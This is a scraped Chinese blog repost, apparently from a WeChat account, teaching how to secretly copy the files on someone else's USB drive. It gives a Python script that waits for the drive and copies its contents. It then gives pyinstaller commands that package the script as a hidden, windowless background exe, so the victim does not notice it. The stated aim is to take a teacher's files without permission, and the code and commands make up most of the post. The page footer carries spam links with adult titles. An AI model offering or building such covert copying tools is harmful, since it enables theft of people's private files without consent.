<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          用幾行python代碼偷偷復(fù)制U盤(pán)文件

          共 1946字,需瀏覽 4分鐘

           ·

          2021-10-12 14:01

          點(diǎn)擊關(guān)注公眾號(hào),Java干貨及時(shí)送達(dá)

          轉(zhuǎn)自:cnblogs.com/dawning666/articles/9433907.html

          作者:道寧


          上大學(xué)的時(shí)候有老師不給上課的PPT,就總想有個(gè)程序能偷偷復(fù)制老師的U盤(pán)。。。。一直沒(méi)有去實(shí)現(xiàn),最近不想看論文,就想起來(lái)這個(gè)事情了,發(fā)現(xiàn)其實(shí)用幾行python代碼就能搞定了。分兩步,首先寫(xiě)出來(lái)python代碼,其次把.py文件轉(zhuǎn)換成exe文件,直接在windows電腦上后臺(tái)運(yùn)行。

          代碼

          #?-*-?coding:utf-8?-*-
          import?os
          import?time
          from?datetime?import?datetime
          import?shutil

          #?U盤(pán)的盤(pán)符
          usb_path?=?"E:/"
          #?要復(fù)制到的路徑
          save_path?=?"D:/haha"

          while?(True):
          ????if?os.path.exists(usb_path):
          ????????shutil.copytree(usb_path,?os.path.join(save_path,?datetime.now().strftime("%Y%m%d_%H%M%S")))
          ????????break
          ????else:
          ????????time.sleep(10)
          上面就是所有的代碼,代碼有兩個(gè)地方要改成你自己的路徑,我在代碼里注釋了
          • usb_path就是U盤(pán)的盤(pán)符,比如你的電腦有C,D盤(pán),那么U盤(pán)插上來(lái)以后路徑就是E盤(pán)
          • save_path就是你要把復(fù)制的文件保存在哪里

          Python文件打包成exe

          1. 在命令行用pip安裝 pyinstaller包
          pip?install?pyinstaller
          2.下載安裝pyinstaler運(yùn)行時(shí)所需要的windows擴(kuò)展pywin32
          mhammond/pywin32
          選擇最新版的下載,注意要選擇對(duì)應(yīng)的python版本(version)和python位數(shù)(bittedness)
          通過(guò)在命令行輸入python查看python版本和位數(shù)
          如下所示為python3.6的32位,需要下載[pywin32-223.win32-py3.6.exe]
          Python?3.6.3?...?[MSC?v.1900?32?bit?(Intel)]?on?win32
          如下所示為python3.6的64位,需要下載[pywin32-223.win-amd64-py3.6.exe]
          Python?3.6.3?...?[MSC?v.1900?64?bit?(AMD64)]?on?win32
          3.在命令行中直接輸入下面的指令即可
          pyinstaller?[opts]?yourprogram.py?
          參數(shù)含義
          -F ? ?指定打包后只生成一個(gè)exe格式的文件(建議寫(xiě)上這個(gè)參數(shù))
          -D ? ?–onedir 創(chuàng)建一個(gè)目錄,包含exe文件,但會(huì)依賴(lài)很多文件(默認(rèn)選項(xiàng))
          -c ? ?–console, –nowindowed 使用控制臺(tái),無(wú)界面(默認(rèn))
          -w ? ?–windowed, –noconsole 使用窗口,無(wú)控制臺(tái)
          -p ? ?添加搜索路徑,讓其找到對(duì)應(yīng)的庫(kù)。
          -i ? ?改變生成程序的icon圖標(biāo)(比如給女朋友寫(xiě)的程序,換個(gè)好看的圖標(biāo),默認(rèn)的很丑)

          實(shí)例說(shuō)明

          比如你有個(gè)python程序叫test.py,絕對(duì)路徑在[D:\project],打包成一個(gè)exe格式的文件
          pyinstaller?-F?D:\project\test.py
          條件同上,如果還希望沒(méi)有控制臺(tái)的黑框框,在進(jìn)程中偷偷運(yùn)行
          pyinstaller?-F?-w?D:\project\test.py
          條件同上,如果還希望更換程序圖標(biāo)
          pyinstaller?-F?-w?-i?D:\project\test.ico?D:\project\test.py


          運(yùn)行程序


          最后雙擊打開(kāi)生成的exe文件,你看不到界面,但是可以在任務(wù)管理器的后臺(tái)進(jìn)程中找到,當(dāng)有U盤(pán)插入,就會(huì)自動(dòng)復(fù)制到你設(shè)定的地址,然后進(jìn)程就會(huì)自動(dòng)關(guān)閉。



          1、靈魂一問(wèn):你的登錄接口真的安全嗎?

          2、HashMap 中這些設(shè)計(jì),絕了~

          3、在 IntelliJ IDEA 中這樣使用 Git,賊方便了!

          4、計(jì)算機(jī)時(shí)間到底是怎么來(lái)的?程序員必看的時(shí)間知識(shí)!

          5、這些IDEA的優(yōu)化設(shè)置趕緊安排起來(lái),效率提升杠杠的!

          6、21 款 yyds 的 IDEA插件

          7、真香!用 IDEA 神器看源碼,效率真高!

          點(diǎn)分享

          點(diǎn)收藏

          點(diǎn)點(diǎn)贊

          點(diǎn)在看

          瀏覽 35
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  在线看亚洲三级 | 91精品人妻少妇无码毛片91麻豆 | 2019中文字幕mv第三季歌词 | 99热在线观看免费 | 欧美性爱亚洲日韩 |